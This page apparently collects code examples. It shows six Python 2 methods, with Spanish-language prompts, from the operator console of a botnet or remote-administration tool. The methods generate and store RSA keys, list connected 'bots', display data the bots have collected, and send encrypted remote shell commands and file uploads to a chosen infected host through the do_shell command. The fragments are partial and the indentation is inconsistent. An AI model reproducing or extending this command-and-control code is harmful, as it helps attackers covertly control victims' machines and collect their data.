Esempio n. 1
0
    def preloop(self):

        keys_settings = self.config['keys_setting']

        self.rsa = rsa.main()

        generate_keys = False

        try:

            keys = self.db_code['keys']

            if (len(keys) < 2):

                generate_keys = True

        except KeyError:

            generate_keys = True

        if (generate_keys):

            print('No se localizaron las claves asimetricas!')
            print(modify_char.modify('Seleccione el tamaño en BITS de las claves:'))

            bitsize = raw_input(modify_char.modify("Tamaño en bits [%d]: " % (keys_settings['bitsize'])))

            if not (bitsize):

                bitsize = keys_settings['bitsize']

            bitsize = int(bitsize)

            print(modify_char.modify('El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!'))
            print('Generando ...')
            
            self.rsa.generate(bitsize)

            print('Escribiendo claves en el disco ...')

            self.db_code['my_public_key'] = self.rsa.export_PublicKey()
            self.db_code['my_private_key'] = self.rsa.export_PrivateKey()
            self.db_code['keys'] = self.rsa.export()

            print('Hecho!')

        else:

            self.rsa.import_PublicKey(self.db_code['keys'][0])
            self.rsa.import_PrivateKey(self.db_code['keys'][1])
Esempio n. 2
0
    def help_set(self):
	
        print(modify_char.modify("""
subcomandos:

    - key: Ajusta el valor de la clave pública o privada. Use la siguiente sintaxis: "key <del> o <add> <public <clave>> o <private <clave>>"
        """))
Esempio n. 3
0
    def help_show(self):
	
	    print(modify_char.modify("""
subcomandos:

    - clients: Muestra los clientes que estan conectados
    - data: Muestra los datos recibidos por los bots. Use la siguiente sintaxis para mostrar los datos de un bot especifico: "data <dirección>"
    - keys: Muestra las llaves de cifrado asimetricas
    - key: Muestra o la llave privada o la pública configurables. Use la siguiente sintaxis para mostrar la privada o la pública: "key <public> o <private>"
        """))
Esempio n. 4
0
    def do_shell(self, args):

	try:

	    if (args[:5].lower() == 'local'):

		shell_exec(args[6:])

	    elif (args[:6].lower() == 'remote'):

		if not (self.db_code['my_public_key'] == None):

		    host = args[7:].split()[0]
		    rcmd = args[7+len(host)+1:]

		    for key, value in self.clients_to_socket.items():

		        if (key == host):

		            if (rcmd.split()[0].lower() == 'upload'):

		                file_to_upload = rcmd[7:]

		                if (isfile(file_to_upload)):

		                    with open(file_to_upload, 'rb') as file_to_upload_read:

		                        client_interact.send(value, self.db_code['my_public_key'], 'upload/%s %s' % (file_to_upload_read.read().encode("hex"), file_to_upload))

		                else:

		                    print('El archivo que usted intenta subir no existe ...')

		            else:

		                client_interact.send(value, self.db_code['my_public_key'], rcmd)
		                
		            break

		else:

		    print(modify_char.modify('Falta definir la clave pública del destinatario'))

	    else:

		print('No se encuentra el subcomando: "%s"' % (args.replace(args.split()[0]+' ', '')))	    

	except IndexError:

	    print(self.indexerror)
Esempio n. 5
0
    def help_shell(self):
	
        print(modify_char.modify("Puede ejecutar tanto un comando local (Destinado a esta maquina) o remoto (Destinado a una terminal remota). Para conexiones remotas use: shell remote <Dirección objetivo> <comandos remotos>"))
Esempio n. 6
0
    def do_show(self, args):

	try:

	    if (args.split()[0].lower() == self.show_commands[0]):

		clients = self.clients

		if (len(clients) > 0):

		    clients_table = []
		    clients_table.append(['Clientes - (%d)' % (len(clients))])

		    for _ in clients:

		        clients_table.append([_])

		    clients_table_maximum = self.config['style']['table_style'](clients_table)
		    clients_table_maximum.title = 'Clientes'

		    print(clients_table_maximum.table)

		else:

		    print('No hay clientes conectados ...')

	    elif (args.split()[0].lower() == self.show_commands[1]):

		if (len(self.clients_for_interact) > 0):

		    try:

		        bot_addr_pattern = args.split()[1]

		    except IndexError:

		        bot_addr_pattern = False

		    bot_print = True # Imprimir el mensaje de todas formas, aunque se evaluara el resultado despues
		    bot_table = []
		    bot_table.append(['ID', modify_char.modify('Dirección'), 'Longitud', 'Datos'])

		    for index in self.clients_for_interact:

		        for bot_object, bot_object_data in index.items():

		            bot_array_to_append = True

		            bot_length = bot_object_data['length']
		            bot_data = bot_object_data['data']
		            bot_addr = bot_object[:-36]
		            bot_id = bot_object[-36:][4:]

                            if not (bot_addr_pattern == False):

                                if not (bot_addr == bot_addr_pattern):

                                    bot_array_to_append = False

                            if (bot_array_to_append):

                                bot_array_data = [bot_id, bot_addr, bot_length, bot_data]

                                bot_table.append(bot_array_data)

		    if (len(bot_table) > 1):

			if not (system() == 'Windows'):

			    bot_table_maximum = self.config['style']['table_style'](bot_table)
					
			    if not (bot_table_maximum.ok):

				bot_print = quest.quest(modify_char.modify("Los datos no se mostraran correctamente con la resolución actual. ¿Desea mostrarlos con otro formato?"), '1', '0')

				bot_print = not bot_print

			else:
				
			    bot_print = False

			if (bot_print):

			    print(bot_table_maximum.table)

			else:

                            bot_table_format = yield_print.array_new_format(bot_table)
                            bot_table_format_headers = bot_table_format.next()
                            bot_table_format_id = 0

			    while True:

				try:

				    bot_table_info = bot_table_format.next()

				    bot_table_format_id += 1

				    print(modify_char.modify("[%d] - ID: %s; Dirección: %s; Longitud: %d; Mensaje: %s" % (bot_table_format_id, str(bot_table_info[0]), bot_table_info[1], int(bot_table_info[2]), bot_table_info[3])))

				except StopIteration:

				    break

		    else:

			print('No se agregaron valores a la tabla de datos!')

		else:

		    print('No hay datos para mostrar ...')

	    elif (args.split()[0].lower() == self.show_commands[3]):

		if (args.split()[1].lower() == 'private'):

		    if not (self.db_code['my_private_key'] == None):

		        print('Clave Privada: ' + str(self.db_code['my_private_key']))

		    else:

		        print('Falta definir la clave privada')

		elif (args.split()[1].lower() == 'public'):

		    if not (self.db_code['my_public_key'] == None):

		        print(modify_char.modify('Clave Pública: ' + str(self.db_code['my_public_key'])))

		    else:

		        print(modify_char.modify('Falta definir la clave pública'))

		else:

		    print(self.subcommand_error % (args.replace(args.split()[0]+' '+args.split()[1]+' ')))


	    elif (args.split()[0].lower() == self.show_commands[2]):

		print(modify_char.modify('Clave Pública: ' + str(self.rsa.export_PublicKey())))
		print('Clave Privada: ' + str(self.rsa.export_PrivateKey()))

	    else:

		print(self.subcommand_error % (args.replace(args.split()[0]+' ', '')))

	except IndexError:

	    print(self.indexerror)